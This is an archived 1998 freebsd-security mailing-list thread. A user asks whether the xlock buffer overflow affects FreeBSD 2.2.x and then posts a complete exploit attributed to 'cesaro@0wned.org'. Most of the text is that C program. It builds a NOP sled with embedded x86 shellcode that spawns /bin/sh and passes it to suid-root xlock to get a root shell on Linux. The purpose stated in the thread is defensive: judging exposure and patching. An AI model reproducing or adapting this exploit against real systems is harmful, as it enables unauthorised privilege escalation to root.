xlock
Date: Mon, 29 Jun 1998 10:17:18 +0200
From: Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE>
To: Thomas Gellekum <tg@ihf.rwth-aachen.de>
Subject: Re: xlock
Cc: Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE>,
freebsd-security@FreeBSD.ORG
On Mon, Jun 29, 1998 at 09:29:47AM +0200, Thomas Gellekum wrote:
> Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE> writes:
>
> > On Mon, Jun 29, 1998 at 08:58:02AM +0200, Thomas Gellekum wrote:
> > > Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE> writes:
> > >
> > > > Alarmed by recent buffer overflow attacks on Linux machines in
> > > > my vicinity (an exploit for this is available) I thought about
> > > > xlock under FreeBSD and would like to know whether the
> > > > security hole has been sorted out under FreeBSD 2.2.x or what
> > > > measures are advised to prevent it.
> > >
> > > Could you tell more about this?
> >
> > /* x86 XLOCK overflow exploit
> > by cesaro@0wned.org 4/17/97
> >
> > Original exploit framework - lpr exploit
> >
> > Usage: make xlock-exploit
> > xlock-exploit <optional_offset>
> >
> > Assumptions: xlock is suid root, and installed in /usr/X11/bin
> > */
> >
> > [complete xploit can be sent on demand]
OK, here goes: (This is for Linux 2.x, xlock path and code on stack
may vary for FreeBSD if applicable).
--8<----------------------------------------------------------------------
/* x86 XLOCK overflow exploit
by cesaro@0wned.org 4/17/97
Original exploit framework - lpr exploit
Usage: make xlock-exploit
xlock-exploit <optional_offset>
Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 996
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
int main(int argc, char *argv[])
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int dfltOFFSET = DEFAULT_OFFSET;
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;
if (argc > 1)
dfltOFFSET = atoi(argv[1]);
else printf("You can specify another offset as a parameter if you
need...\n");
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + dfltOFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
}
--8<----------------------------------------------------------------------
>
> Please do. Desmond Bagley, the maintainer of xlockmore mentioned a
> security hole in Mesa with suid binaries. I don't know if it's the
> same problem.
>
> tg
--
Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe security" in the body of the message